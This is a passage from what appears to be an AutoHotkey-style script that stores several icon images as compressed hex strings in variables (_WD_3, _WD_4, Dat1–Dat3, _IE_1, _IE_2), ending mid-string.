_WD_3 := "18(6)3(8)1002(570)2(7)74545443D39383764(7)B(7)6(7)2(120)A7A7A7165E5B596285827FAF948D8AEE99918CFF787573FF3F3F3FC81111112B(7)D(7)3(80)7C7B7C135E5C5A6483817F9A676361E85A5654FF79736FFF9E9692FFACA49FFFB7AEA9FF8C8886FF2F2F2FFF10101062(6)1D(7)9(48)DADADB0585828145888482808D8886CA514E4CF66B6563FF706B68FF746E6BFF6A6664FF9F9893FFCFC6C0FFC4BCB6FFD7CDC7FFA5A19EFF3E3E3EFF0606066(7)19(7)8(16)B3B4B4078E95944283848184787C79C8676865FD817A75FFA19994FFB0A9A4FF5A5553FF807976FF837C78FF817B77FF7B7673FFC1BAB4FFE1DBD5FFC0BAB6FF95918DFF7B7776FF4C4B4BFF28282856(7)B(7)2D8DFDF0E767B78BC686A66F9777A75FF7B7E79FF818581FF757774FFA39A95FFBFB6B0FFC9C1BCFF736D6AFF99938FFF95908CFF8B8682FF77726FFF7E7975FF857F7BFF8E8884FFABA29EFF8A8784FF282828FF49494935(7)1(8)A4B5B4226E706CFF7F827DFF8B8E8AFF929691FF9EA29CFF8F918DFFCEC6BFFFDDD6D1FFB6B2ACFF6D6D6BFF767976FF727A75FF5B5E5BFFA59D98FFB8AFAAFFBEB6B0FFBCB4AFFFBEB5B0FF96928FFF343434FF59595948(16)A2B3B129929590FFA5AAA4FF9DA29DFF959A95FF7C7D79FF73716EFF8F8782FF767370FF6C7470FF838E88FF87918DFF8B9792FF676B68FFB2A9A4FFB8AFAAFFBFB6B0FFC7BEB8FFD0C6C1FFB3AEABFF373738FF5E5E5E4B(16)B4BEBC1881817DFC797672FF78726EFF7E7876FF76706CFFA8A09BFFB5ACA7FF9C9995FF838D88FF99A59FFF96A29CFF9DA9A3FF808581FFE9E2DDFFD2CBC5FFC4BFBBFF9E9C97FF81827EFF6C706CFF3B3B3AFF7574744D(16)BFBCB915958D88FFA29994FFA79E99FF9E9894FFAEA59FFFC9BFB8FFD1C7C0FFAEA9A6FF9CA9A3FF9FADA6FF96A29CFF858D88FF767672FF938E8AFF595D59FF6D7671FF808A84FF89948EFF7B8681FF242928FF3F43436C(16)CAC6C317ADA39DFFBEB3ADFFC4BAB4FFB6AEAAFFC9C0B9FFC0B9B4FFB0ABA6FF7A7571FF817F7AFF8E8883FFA29995FFA8A09BFFAFA7A2FFB1ABA6FF69706CFF8E9993FF909B94FF98A49EFF838F8AFF2D3433FF30343477(16)CFC9C5148E8B87FF989590FF787672FF8D8681FF8E8782FF98908CFFA29C97FF87807BFFA59D98FFB9B0AAFFC3BAB4FFC9BFB9FFCDC4BEFFCAC1BDFF838C86FFACBCB3FFA2B0A8FFADBCB5FF9CACA6FF373E3EFF6567677A(16)98ACAA307F8B88FF828E8AFF787E7AFFA49B95FFB2A9A3FFB4ABA5FFB5ADA8FF968E89FFCFC5BEFFCCC1BCFFDAD0CAFFD8CFC9FFE3DAD3FFDDD6D1FF858D87FF9AA49EFF929893FF878883FF868683FF3E4140FF888D8C6C(16)B2C2C1438E9E9AFF899691FF7A827EFFB6ACA5FFCBC0BAFFD1C7C0FFCCC4BEFFB0A9A3FFC0BAB4FFAAA49FFF8C8884FF948D89FF99908BF5918A85C8958D88F6A69E99FFB9B0ABFFC2B9B4FFAEA8A4FF383839FF33343472(16)A9BCBA38929D96FF858F8AFF797C78FFA49D97FFABA39CFF9E948EFF847C76F78D8681FFA69D98FFB9B0ABFFACA8A5FF434344FF5656567A(8)A49C97E2CCC3BDFFCAC0BBFFD4CAC4FFB7B0ACFF424242FF66666678(16)B3B2B02F837C77FF958D87FFB3A9A4FF8D8C8AFF3F403FFF72706F52948D896DBCB2ACFFC2B8B2FFCEC4BEFFB2ADA9FF555656FF9B9B9B79(8)C2BAB5E1EDE6DEFFDFD6D0FFE7E0D9FFD4CEC9FF49494AFF7F7F7F7C(16)A49D9837AAA09AFFB9AFA9FFC9BEB8FF9A9896FF565656FF7070704BA89F9A72E7DED6FFE0D7D0FFE5DDD6FFC3BEBAFF636464FF9D9D9D7E(8)C9C4C08CC3BDB6F0BAB2ADFCAAA19CEEADA5A1D19C9795A8ACACAB45(16)C7BFBB40D6CAC2FFDBD0C8FFE3D9D1FFA7A5A3FF707070FF9090904CD9D4D036BCB5AFB7AFA8A3EF958E88E68F8985C494908E9BB4B3B33C(16)E1DEDD02DCDBD905(48)D7CEC816C9C1BB7BAFA6A1B0A69E99ACB3ACA8878F8A8772BFBFBE1A(23)3(688)FFFFFF41FFFFFF41FFFF0141FFFC0041FFC00041FC000041C(5)41(5)141(5)341(5)341(5)341(5)341(5)341(5)341(5)341(5)34100020341000203410002034100033F4101BFFF41FFFFFF41FFFFFF41FFFFFF41"
_WD_4 := "1(7)2(8)1002(435)737672FF868985FF868985FF868985FF868985FF928986FF928986FF928986FF928986FF858281FF858281FF858281FF928986FF928986FF928986FF(8)949792FFACB0AAFFACB0AAFFACB0AAFF868985FFBBB0ACFFBBB0ACFFBBB0ACFF928986FFAAA7A5FFAAA7A5FF858281FFBBB0ACFFBBB0ACFF928986FF(8)B4B6B3FFACB0AAFFACB0AAFFACB0AAFF868985FFD0C8C5FFBBB0ACFFBBB0ACFF928986FFC4C2C0FFAAA7A5FF858281FFD0C8C5FFBBB0ACFF928986FF(8)7D7673FF928986FF928986FF928986FF928986FF928986FF928986FF738985FF738985FF738985FF928986FF928986FF928986FF928986FF928986FF(8)A19794FFBBB0ACFFBBB0ACFF928986FFBBB0ACFFBBB0ACFF928986FF94B0AAFF94B0AAFF738985FFBBB0ACFFBBB0ACFFBBB0ACFFBBB0ACFF928986FF(8)BDB6B4FFBBB0ACFFBBB0ACFF928986FFD0C8C5FFBBB0ACFF928986FFB4C8C4FF94B0AAFF738985FFD0C8C5FFBBB0ACFFBBB0ACFFBBB0ACFF928986FF(8)79847FFF8D9A94FF8D9A94FF928986FF928986FF928986FF928986FF928986FF928986FF928986FF928986FF928986FF7C9790FF7C9790FF7C9790FF(8)9BA9A3FFB5C5BEFF8D9A94FFBBB0ACFFBBB0ACFFBBB0ACFF928986FFBBB0ACFFBBB0ACFFBBB0ACFFBBB0ACFF928986FF9FC2B9FF9FC2B9FF7C9790FF(8)B9C3BFFFB5C5BEFF8D9A94FFD0C8C5FFBBB0ACFFBBB0ACFF928986FFD0C8C5FFBBB0ACFFBBB0ACFFBBB0ACFF928986FFBCD4CEFF9FC2B9FF7C9790FF(8)7D7673FF928986FF928986FF(24)928986FF928986FF928986FF(24)928986FF928986FF928986FF(8)BBB0ACFFBBB0ACFF928986FF(24)BBB0ACFFBBB0ACFF928986FF(24)BBB0ACFFBBB0ACFF928986FF(8)BBB0ACFFBBB0ACFF928986FF(24)BBB0ACFFBBB0ACFF928986FF(24)BBB0ACFFBBB0ACFF928986FF(136)FFFFAC41FFFFAC41FFFFAC410001AC410001AC410001AC410001AC410001AC410001AC410001AC410001AC410001AC411C71AC411C71AC411C71AC41FFFFAC41"
Dat1 := "3(7)6(8)1002(11)8025(52)9EFAFF028EF9FF0C82F8FF1477F8FF176BF7FF1865FBFF0E5BFCFF0D4CF1FB1F44EDFB283EEDFA2231F0FA0E(288)A7FAFF049AFAFF148DF9FF1B82F8FF1E76F8FF1F70FDFF1855E3F75221ABE3AE0D93DCDF068EDCF2058CDBF20B93DBDC12A2E0B216ADE1731CC7E92B(256)ACFBFF01A3FAFF1699FAFF208FF9FF2582F9FF2A7BFDFF2356DCF7870B8CDDFC0080D9FF0085DCFF098BDDFF1C99E2E7219EE5E0219CE4EF1994E0FF0E93DFFB139FDFC0219ECE5641A1BB06(232)B8FCFF0DA5FBFF269AFAFF2B8EF9FF3384FBFF3071F0FD6D1698E1FF0085D8FF008FDCFF309DCF9760B7D53771CDE30D4AC4F40968D3E70E6CC8DF2A59C1EA5D45B2E6A627A3E8E31B99DDCD249BCF602EA4CC02(216)ABFBFF1DA6FBFF329AFAFF398DF9FF4285FEFF444DCCF2CD0087D8FF0092DCFF2790B893(64)64D0F21358C6F06532B2F3C51AA1EABE20A0DC44(208)B0FBFF2AA4FBFF3D98FAFF488DFAFF4E7FFAFF6D2FB1EAF7008AD7FF0598D6FA4594A431(88)61BCD95F36A0D3DF5692A491AB691C60BC803F7AB4793A89AB6A1B92AC6C218FB9824883AE671E6DA5631F5196662A2A91653208(120)AEFBFF36A3FAFF4A96F9FF578CFBFF5B77F5FF8F23A6E5FF008FD8FF0A99CFEE4D92A119(64)845720018450183C91511086A55B13B9B45E09F2B86006FFC26903FFC56C00FFCA7100FFCC7403FFCB7202FFC66A00FFC16701FFBA6004FFAC5503F89A4F0BD4874C1498794B194875502206(96)ADFBFF3FA0FAFF5693F9FF6389FBFF6872F4FF9F21A5E5FF0092D7FF079BD1F33599B521(56)734C20547D440FC09A4800FDB65800FFC76B00FFD47F08FFDE9213FFE5A122FFEAAD2DFFEDB336FFEEB536FFEDB233FFEAAC2CFFE4A020FFDC9013FFD17E09FFC46A03FFB15600FF8F4301FF6E390ACC633D166465451E08(80)AAFBFF449DFAFF6090F9FF6D86FBFF7370F4FFA522A9E7FF0092D7FF039CD4FD1DA3CD3E(40)4B2C0F35582D08BB803A00FFAE5400FFC76F05FFD6860DFFE29B1AFFECAF2EFFF3BF44FFF7CD57FFF9D768FFFADD73FFFADD74FFF9DB6EFFF8D362FFF6C851FFF1BA3CFFEAA927FFDF9515FFD3810BFFC56B04FFA85000FF753500FF552C07C754320E4(73)A6FBFF419BFAFF698DF9FF7582FAFF7B70F7FFA12CB3EBFF0091D7FF009FD9FF269AC26F(32)43250E6A3F1A02F17F3A00FFBD6002FFCE7909FFDA8E11FFE6A220FFEEB334FFF3C147FFF6CD59FFF9DA6DFFFAE37CFFFCE886FFFCEA87FFFBE681FFF9DF75FFF8D363FFF4C54FFFF1BA3CFFEAA928FFE19A17FFD6870EFFCB7407FFB85D01FF823B00FF4C2001FA47260B7A(64)A0FAFF3597FAFF6F89F9FF797DF9FF8171FAFF973CC2F1F90191D9FF00A1DCFF169FCFB1(24)411E03843B1601FF652D00FFB55C01FFCF7A0AFFD98C10FFE29B19FFEAA928FFF0B73AFFF3C24AFFF7CE5BFFF9DB6FFFFBE37DFFFCEA88FFFCEC8AFFFCE683FFFADF77FFF8D464FFF4C650FFF1BB3FFFEDAD2DFFE49F1DFFDC9111FFD4850DFFCB7408FFBD6002FF853E00FF471D00FF3B1B039647290603(48)A2FBFF2393FAFF7285F9FF7B78F8FF856FFBFF8D4CD5F9E80794DDFF00A2DFFF08A5DCEF39B1CD1C(8)411B027F431A00FF642E00FF944700FFC36904FFD3810CFFDB8F11FFE29C1AFFEAA828FFF0B638FFF3C248FFF6CC59FFF8D86BFFFAE17AFFFBE684FFFCE785FFFBE47FFFF9DD73FFF7D161FFF3C64FFFF1BA3DFFECAC2CFFE39F1DFFDC9212FFD6860EFFCD7B0AFFC76E06FFB95D01FF7D3B00FF3D1700FF361B0495(48)9FFBFF0C90F9FF6A81F8FF7E75F8FF866DFAFF875BE7FDD3179EE5FF009FE1FF00ABE7FF3099BC61482F1C4C381301FF6F3400FF984800FFA65000FFC16704FFD1800CFFDA"
Dat2 := "8E10FFE19B18FFE8A626FFEFB335FFF2BF44FFF5C954FFF7D261FFFCD968FFFFDD68FFFFDB65FFFFD960FFFED45BFFF8CA52FFF3C248FFF1B73AFFEAAA2AFFE29E1BFFDC9111FFD6870EFFCE7D0AFFC87308FFC36704FFAD5500FF693100FF311100FF35200F75(48)8EF9FF517EF8FF8373F8FF876BF9FF8863F3FFB630B4EFFF0099E3FF01B3EFFF1095C2DA301405E5572400FFA04E00FFB35700FFA44F00FFBB6103FFCF7D0BFFDA8D10FFDE9916FFE7A523FFEEB031FFF1BA3EFFF7C244FFF9C241FFDDA534FFBB8626FFA7731CFFA5721CFFBE8928FFE3A934FFF5B734FFEFAF2EFFE8A728FFE19C19FFDC9010FFD5870EFFCD7C0AFFC97207FFC26905FFBC5F01FF964800FF502300FF270F01F83D2A183A(40)8EF9FF297DF8FF8472F8FF8869F8FF8D64F9FF9C4CCFF8F60598E6FF02AEEEFF00B2EEFF303E3EFF823300FFB65A01FFB65B01FF9C4B00FFB05800FFCC7608FFD98B0FFFDE9613FFE5A21FFFEAAC2CFFF4B52FFFD89B26FF7E4F10FF482508CA391C058E452A166B4B2F1B694425088A5B340BCD9C671AFFE4A326FFE7A21CFFE09916FFDB8F10FFD4860DFFCD7A0AFFC97107FFC26904FFBC6202FFAB5400FF743700FF361500FF231406C7412C1007(32)93FAFF057DF8FF6E70F8FF8D68F7FF8F64F9FF8F5FE8FED91CA4ECFF00A4ECFF00BFFFFF1D8CABFF9A4300FFBA5D00FFB75D01FF994C00FFA05000FFC66F05FFD6890EFFDE9411FFE39E1AFFEEA921FFC98B1CFF4B2708E9311A075B412B1104(32)4A3213073F240E737C4E13FBE29E21FFDF9610FFDA9010FFD3850CFFCE7B09FFC87207FFC26904FFBD6201FFB15800FF8B4400FF512400FF200D00FF2D1C0A5E(40)84F9FF3970F8FF9068F7FF9063F8FF8E65F5FFB341C1F5FF009DEDFF03B8F8FF01BCF8FF7B673EFFC15700FFB95F01FF9C4E00FF8F4900FFBC6502FFD3820BFFDD9411FFE59C14FFDC9617FF563007F534200E42(64)371E0B81A26F1DFFE49813FFD88B09FFD38108FFCE7805FFC76F03FFC06801FFB85F00FFA85400FF8E4600FF622E00FF2F1200FF170B00CC3E2C1B05(32)7BF8FF076DF8FF7568F7FF9463F7FF9261F8FF9663E2FEEA13A2EFFF03ACF4FF02C4FFFF2C9DB9FFB85702FFBB5F00FFA35300FF844300FFA75800FFCF7A07FFD9900FFFE79C12FF9A620BFF28140693(72)3A250D10623D0DEBD59122FFCF8618FFCA8218FFC57B15FFBD720FFFAD6308FF995502FF884A01FF7C4101FF633000FF381700FF0A0000FF908B8555(40)7AF8FF3366F7FF9562F7FF945EF8FF8F69EEF9C742BDF5FF01A0F0FF0CBBF9FF01C2FFFF777552FFC65A00FFAB5800FF834500FF8C4B00FFC46F03FFD8880BFFDD900EFF623904FB2B180C38(80)3A220A6D54340DA250320EA0442A0EA042280DA043260B9F3C20089E331B069E2D17069E2A16059E2413059E1A10059F0F0604A23733315F(40)81F8FF026CF8FF6C60F7FF9B60FBFF904FC3C5D36AD0E9FF16A7F2FF0AAFF3FF0BC7FFFF22ABD0FFB25F0CFFB75B00FF8C4B00FF794200FFA85D00FFD68106FFC77C09FF482703DF39251009(240)7BF8FF1D63F8FF915FF7FE9741A5A4E864BDC0FF50C7FBFF05A3F0FF15BDF8FF09CAFFFF5E887AFFC05700FF9A5400FF754000FF844900FFC77302FFB26903FF371E04C9433010104A32110D4B34100E4E37110E4F37110E4F38100E4F38100E4E37100E4B32100D4B33100D4E34100D4830100C4730100C452E0F0C402B100C3C290E0C3A260E0C34220D0C2F1B0D0B2B170D0B25130B0B200F0A0B1F10090B1C0E070D1D130F0B(56)70F9FF485BEFF6A6409D9DF54B9C98FF7EDBEDFF21ADF4FF0FB0F3FF18C7FDFF17BEEEFF956927FFAC5600FF7F4700FF6F3D00FF9C5801FFB16803FF6D4003F67A4E0ADF845813DF875D16DF8A6018DF8B6118DF8B6219DF8C641CDF8D661EDF8D651EDE8B651EDE8B631EDE8A621DDE86601BDE825D18DE7F5915DE7A5311DE744D0CDE6D4509DE663D06DD5E3604DC562F03DC492602DC321901DD190B00E1241B15C2CECCCA0A(48)81FFFF0463F5FB853D9A9BFF469590FF71C1BCFF6AD2FCFF0AA5F0FF1BBCF5FF17D0FFFF3EA3B1FFAE5801FF914F00FF6D3D00FF734000FFA96202FFD27C03FFD58206FFD9890AFFDC8D0CFFDE8E0DFFDE900DFFDF920EFFE0930EFFE0930FFFE0930FFFE0930FFFDE920EFFDB900DFFD78C0BFFD0870AFFC78008FFBD7807FFB27005FFA66503FF975B01FF8A5100FF7C4700FF6D3B00FF532900FF291000FF25190FD5BBB4AF06(56)5198973D3D9594FD489C9AFF53A397FF8FDCE2FF3EBAF7FF0FADF1FF23C7F9FF18D0FFFF6C8263FFA45000FF774300FF643800FF7C4600FFB46902FFD48204FFD78807FFDA8908FFDB8B08FFDD8D08FFDD8F09FFDE9009FFDE9108FFDE9208FFDF9307FFE09407FFE09205FFE09105FFD98B04FFCD8403FFC47E03FFBA7603FFAB6A03FF9C6001FF8D5401FF7F4A01FF734000FF592E00FF2E1400FF1D1206C52F241403(56)240200302A5550FA49A7A5FF4FA198FF67B9AEFF91E1F8FF1BABF2FF1BB7F4FF26D0FEFF26C1E9FF8C6423FF8C4800FF653A00FF603600FF7F4A00FFB36A02FFD17E04FFD58305FFD58605FFD88705FFD98905FFDB8C05FFDD8D05FFDE8F05FFDE9105FFDE9205FFDD9105FFD68E05FFD08B05FFCA8605FFC18004FFB67603FFA86D03FF9B6102FF8D5601FF814E00FF744200FF5A30"
Dat3 := "00FF301500FF1F1409C1281C1001(56)2E1C0C2A140B05F83D7C79FF51AEA8FF4DA79AFF82D1CDFF73D2FBFF11A9F0FF27C1F6FF26D5FFFF3FA7B5FF934F03FF754000FF5D3500FF633900FF814B00FFA86603FFBF7606FFC77E0AFFCB820DFFCD860FFFD0890FFFD28C10FFD38F10FFD39010FFD1910EFFD5940DFFD4930AFFCC8A06FFC48505FFBC8005FFB27703FFA66C03FF9B6303FF905A02FF835000FF764500FF5C3200FF301500FF211305B3(64)2E1D0D17130600EA2B1F15FF4D9C93FF4FB1A8FF4BAEA4FF96E1E5FF4DBFF8FF16AFF1FF30C8F9FF27D4FFFF598776FF894200FF6D3E00FF442401F34A2801DC5B3403DC6A4209DC754D10DC7B5515DC805A18DC835C19DC875F18DC8B6419DC8E6719DC8E6815DB876010F0C08E15FFCB8C06FFBF8405FFB97F05FFB07605FFA66F03FF9D6603FF915B01FF845200FF794901FF5C3300FF2D1300FF2C1C0F97(64)2C1B0B03170F04C8210500FF443B29FF4EADA4FF4AB5ABFF57C0B6FF9BE6F4FF31B3F4FF22B6F4FF34CEFDFF2BCCF6FF6B693FFF753700FF291405B8251004092B12000A3318000A3B1F000A4125000A4529000A482C000A4F2E000A5233000A5937000A5C3C03095436089BB2810EFFC58906FFBD8206FFB57D05FFAF7705FFA67002FF9F6904FF986606FF8F5E05FF7D4C01FF593100FF2A1200FF3422116C(72)21150993180B00FF3D0F00FF5A603DFF50C0B3FF45BEB2FF6BD3CAFF91DFFBFF23AEF2FF2ABCF5FF35D4FFFF33BADBFF75511AFF411A00DA27150C05(80)634312B2C08D0EFFBC8205FFB98105FFB37C04FFAF7906FFAC7A09FFAA7A0DFFA5760EFF9D6F0EFF845708FF512C00FF2A1201FD3D291838(72)291C0C4C110A00FF331701FF643400FF627048FF4BC4B9FF41C3B7FF7DDED8FF81D7FBFF1EAEF1FF32C3F7FF34D8FFFF46AAB6FF5B2D06FD28100547(72)5237281B7B5509EDC48E0CFFB88105FFB9850AFFB9860DFFB78710FFB58611FFB08110FFA9790EFF9E700EFF835B0BFF472600FF2C1503D749331809(72)3826180C160E03DB231001FF5B390CFF703F02FF657347FF49C4B8FF41C9BCFF8CE4E2FF71CFF9FF1FB1F2FF37C7F9FF36DAFFFF4A918FFF3A1200C9B8B0AC0E(8)FFFFFF05FFFFFF04FFFFFF04FFFFFF04FFFFFF06(16)5B3E1896A77C0CFFC39215FFBF8F14FFBE9115FFBC8F14FFBB8B12FFB88711FFB18310FFAB7C0FFF9D700FFF79540BFF381B00FF3B251188(88)241A0E78130900FF4B300CFF6E4A11FF784704FF6E713EFF4CC1B1FF45CEC2FF94E7E8FF67CAF9FF21B3F2FF39CBFBFF37DAFFFF3F7171FF5D382ABBC6C1C12BFFFFFF09FFFFFF10FFFFFF14FFFFFF11FFFFFF06E9E6E5128F7C6287885F07FFC6991FFFC09420FFC2951EFFC2941DFFC0921CFFBC9019FFBA8B15FFB48613FFAC7D11FF976E10FF644207FF301601F6533F2929(88)321F1213130B01E02B1905FF694C18FF775517FF81510DFF7B6F35FF53B9A3FF49D4CAFF99E9EDFF61C8F9FF23B5F3FF39CEFDFF38D7FDFF57725BFF562600EE655244A1968B816BA59B9458A4998F618271608765471BD5885E06FFC0962AFFC1962EFFC59A2BFFC69A29FFC59929FFC29727FFBF9424FFBB8F20FFB6891BFFA87D17FF896512FF442500FF3F28159B(104)2A1C0E5E0F0600FF4B3617FF7D5F2DFF83622BFF8C6123FF8A6E33FF63AC8FFF4ED7CEFF96ECF3FF62C8F8FF25B6F4FF37CEFEFF36D2F9FF7C9068FF8E5A0DFF6C490CFF63430CFF67470BFF7B5B15FF96762AFFA4873CFFAC8C3EFFBB973DFFC49D3CFFC79E3AFFC69D38FFC59C36FFC29931FFBD942DFFB48A28FFA07C23FF64440BFF361A04EA604B352(113)1B1206A5170C03FF685231FF8C7244FF90723FFF97723BFF9C743AFF7D9E79FF58D3C7FF92EFF6FF67CBF9FF27B7F4FF34CEFFFF31CCF7FF8FA383FFC39852FFB4995BFFAE965AFFA6915BFF9E8B58FF9D8954FFA38C52FFAD924FFFBA9A4EFFC29F4DFFC7A148FFC8A145FFC69E41FFBE973DFFB08D3AFF7F6120FF3A1C00FF4F38226(121)36241213130A01CB211509FF7B6849FF9B845AFF9C8255FFA28656FFAC8450FF9D986CFF71C7B3FF8FF0F5FF6DD2FDFF2AB9F5FF2FCCFFFF30CAF5FF98B198FFD5AE73FFC6AE79FFC2AA77FFBCA674FFB5A170FFAF9C6CFFAE9967FFB19A63FFB79E60FFBEA15CFFC1A258FFBF9E53FFB99B54FF907336FF422301FF462C0E8F(24)28B3E703(104)2A1A0E1F130C03D223170EFF837257FFAB9775FFAB946FFFB09971FFB99B70FFBC9F74FF9CBC9FFF9BE6E3FF74D9FDFF2CBBF7FF28C8FEFF2AC9F9FF98BEB2FFE5C28FFFD8C193FFD4BF91FFD1BB8CFFCBB787FFC5B181FFC0AB7BFFBCA775FFBCA46FFFBAA26CFFB9A46DFF8F7744FF402406FF462E1D9C69533603(24)26AEE34F42A0C041(104)2A1C0F1D140900BC1C110AFF776855FFB6A68BFFBBAA8BFFBEAB8BFFC5B18FFFD0B490FFC8BD9C"
_IE_1 := Dat1 Dat2 Dat3 "FFC0DBCBFF82DDF8FF32BEF9FF22C2FCFF22C6FAFF8EC6C7FFEED1A7FFE5CFA6FFE0CCA3FFDEC99EFFDAC598FFD5C091FFCDB98AFFCAB78BFFBEAE84FF7F6944FF381C03FF40260C8A6B574902(32)3DADCE352B9FD08144A3BC09(104)2E1B0A09170D0287100600F9504438FFA99D89FFCDC0AAFFCEC1A9FFD1C3ABFFD9C8AFFFE1CBAFFFD6DBC8FF93E1F3FF3FC5FBFF1EBCFAFF16C0FCFF74C8DAFFEBD9B9FFEED8B4FFE2D2B0FFDFCEAAFFDECEA9FFD9CBA6FFB4A27FFF634A2AFF361A01E0482E145B(48)38A6C90A259ED49543A1BD35(120)2718093B100500B420160FFE6A6054FFB6AD9DFFDBD2C3FFE5DDCDFFE6DECEFFEBDDCAFFE7E1D0FFAFE7EDFF57D0FCFF22BBFBFF0CB9FCFF4DC1E8FFD0D4C6FFF0DABDFFE0D6BCFFBBAE94FF776248FF3E2309EC3F24098E4F36181D(64)20A8DD922BA9D569(136)1F12033F120700991F150BE0524A41FF8F877CFFBEB8AEFFDBD6CCFFECE4D9FFF7EDE0FFD7F3F0FF83E5FEFF3AC9FFFF0AB3FCFF26BDF5FF7EAAB2FF654636F03C1500C0360F00774F2D0B21(80)2298CC901899D58F(152)221405101D0E00441A0C007725180DA0352A1CBE493F33D0615649D671604ED75A5248D258959CCB59D5FEF51FB9FEFF00A9F2FF1480AAC33A656A25(96)1D98D09B0994DC9B(184)190B000110050006120200081405000818(5)73E524C057DEAF9366EDFFAB044CAFDFF15BDFFFF0ABAFFE715B7F37B20A7DA17(72)50B8C2031595D6CC1E97CF85(248)70E7F54261DCFAAE3BC7FCFF12B7FCFF09AAEFE712A3E08322A1D22A(56)2298CD7B0F8FD7DE39A3C237(264)6EE0F03462DBF68F42CCFAE221B7F7FF0DA5ECFF0E9BDFC11197D6781698D4464499B32A4A98AD261D98CE491492D3A70487DAFE38A4C859(288)65E0F30F61DFF54B55D6F69140C6F4CE2CB3F0F41FA3E8EF199AE0E61696DEE50F93E0EC0E92DBC12D9EC746(784)C007FFFFFFFF00008000FFFFFFFF(8)1FFFFFFF(9)7FFFFFF(6)7F83FFFFFF(6)7FF0007FFF(6)7F80000FFF(6)7F(5)3FF(6)7C(5)1FF(6)78(6)FF(6)7(7)3F(6)2(7)3F(14)1F00008(10)F00008(10)700008(5)7800070000C00001FE00030000C00003FE00030000E00003FF00030000E00003FFFFFF0000F(10)30000F8(9)10000F8(9)10000FC(9)10000FC(9)10000FC(9)30000FC(9)30000FC(9)30000FE0003FF00030000FE0003FE00030000FE00010600070000FF(9)70000FF(9)F0000FF8(8)F0000FFC(7)1F0000FFC(7)3B0000FFE(7)390000FFF(7)780000FFF8(5)1F80000FFFE(5)3FC0000FFFF80000FFC0000FFFFE0003FFC0000FFFFFE000FF80000FFFFFFFE03F80000FFFFFFFF80010000FFFFFFFFE0030000FFFFFFFFFFFF0000FFFFFFFFFFFF(4)"
_IE_2 := "2(7)4(8)1002(11)801(53)89F9FF057AF8FF0D6AF9FF0C(224)9EFAFF0B8AF9FF197BFBFF1768F7FE2637C7ED7816A9E6BC0B9BE1D90D9DE0B411ABE26911B1E521(168)AEFBFF0A9CFAFF228CFAFF277BFAFF382BB0E8CB007FD9FF108BD7E532A2DFAA34ABE7A129A1E0C51799E0DA239ED694299AC83B(152)AEFBFF1F9DFAFF378FFEFF365BD9F59F0087DBFF148FC7B74CAACE16(24)52C4F81F4CC6FD581AA1EBBB119FEB94339CCB1C(8)BA7D3E02A9691F05B37A3B03(104)ACFBFF329BFAFF4A8DFFFF583BBDEDDD008DD8FF3993AA53(48)60949F1E6B8F91946E7E73D6AE6A1EA0BE721FB1B6690EBBB9701EB5B36414A3A15D18848E551E507B4B191B(72)AAFBFF4298FAFF5C87FEFF7532B8ECE90091D5FF2C9ABA4F(32)622E002A85410494A84900DBC86300F4DB7E01FFE0961BFFE5A326FFE9A82CFFE5A124FFDD9218FFD07C09FFB96103FF964B06DC6D3C108F5F3E1A26(56)A6FBFF4B93FAFF6D82FEFF8235BDEDE90092D6FF189FCB73(16)411000074422097D7C3A03EFBA6102FFD8870DFFE9A624FFF4C144FFFAD763FFFCE47BFFFDE77FFFFBDF72FFF8CE57FFF1B837FFE49B19FFD37D08FFAD5601FF6F3503E949270A723E1F0601(40)9FFAFF468DF9FF7A7DFEFF8343CCF3E00094DAFF14A8DAB(9)421E0A0A3A1701A4622B00FFC06604FFDB8B0FFFE6A21FFFF1B83AFFF6CA54FFF9DC71FFFCE987FFFCEC8DFFFAE380FFF7D363FFF2C046FFEBAB2AFFDF9614FFD4800AFFBB6102FF6D3100FF3A1A039644270604(32)9DFBFF3486F9FF8076FCFF8255DFFACB059AE0FF05AFEBEA40747B1D4012009A612B00FF9F4C00FFCE7607FFDB9011FFE6A220FFF0B537FFF5C851FFFCDB6BFFFFE87BFFFFE97BFFFFE370FFFBD25BFFF3BE42FFEAA929FFDE9614FFD5850DFFCD7608FFB65C02FF5D2800FF2E1706943C291703(24)99FAFF1882F8FF7A71FAFF8663F1FFB01CA8EAFF00AFF3FB1E6278CA571A00FAA85100FFAB5200FFC46D06FFD98D10FFE39F1CFFEEB132FFFBC443FFEBB740FFBF8F30FEAA7C27F1B2832AF4D9A233FFF5B633FFE9A623FFDD9412FFD3840DFFCA7508FFC56804FF9C4C00FF3E1A01FF33211164(24)92FAFF0383F9FF606EF8FF9069FBFF983BC2F4F200A9F5FF0796C5FF82400BFFC05C00FF9F4E00FFB76002FFD88A0EFFE29C18FFF2AF27FFBD841FFF56320AB2351904553E23133340230D3D4F2E0C7D9E6A1AEFE8A11BFFDE9210FFD2830BFFCA7307FFC36803FFB75B00FF6D3200FF261202E439260F18(24)85F9FF2C6CF8FF9167FBFF8D5AE2FCD00EA5F0FF00BDFFFF677962FFC65700FF9C4F00FFA15300FFD3820AFFE89E14FFC88714FF3F23099E2C180A05(32)381F0C5AB27919FFEA9A10FFDA860BFFD17806FFC46A02FFB05A00FF854100FF351400FF2C1F158456463701(16)7BF8FF026FF8FF6B62F8FF9569F8FFA937BBF6FA00B0FDFF1DB0D6FFB35E10FFA95200FF884700FFC57305FFE8990FFF7C4D08E920100A22(48)5D3B0FAD976216D8865513D4824D0FD4703F06D35C3203D34F2903D3270F01D72E2828B06865610F(24)7AF8FF2463FBFF8F59E6E7AA5AC4DCF813AAF6FF01C4FFFF628C7BFFBC5400FF7F4400FFA65D01FFD78407FF523007B8(64)42280D0835210D06341E0C062D180906231208061E0F0706160C04071912100646424101(32)70FEFF4F4ED2D6C558A9A7FF48C1F5FF07B4FBFF18C1EDFF99692AFF944700FF7D4600FFB66902FF633B05D1614210776A4A147D6D4C157D6D4D157D6E4F187D6D4D187C6D4D187C694A1878644715765F421276583B0E764F320B76472809753B1F07752A14047611040079ACA9A71D(32)85FFFF0753CDD0AE46948DFF74C9D4FF27B3F8FF0DC7FFFF46A7ADFFA45204FF703D00FF874D01FFC47503FFD28309FFD4890DFFD78B0EFFD78E0FFFD99011FFD99011FFD89010FFD68D0EFFCF870BFFC17D09FFB27106FF9F6102FF8B5200FF784300FF542A00FF1D0B00FF80797239(40)34514E80409996FF67B5A9FF6CCDEFFF14B3F9FF1CD0FFFF6E8465FF893F00FF5F3600FF995A01FFD58204FFDF8B06FFE08D05FFE18F06FFE39205FFE49405FFE59705FFE49504FFDA8E04FFCC8604FFBD7A03FFA86A02FF915901FF7F4A00FF5F3200FF271202F42016092F(40)1F070078325C57FF4FB0A5FF78C8C4FF4FC2F8FF18BEFBFF2FC7E6FF7D5F29FF6E3500FF5E3600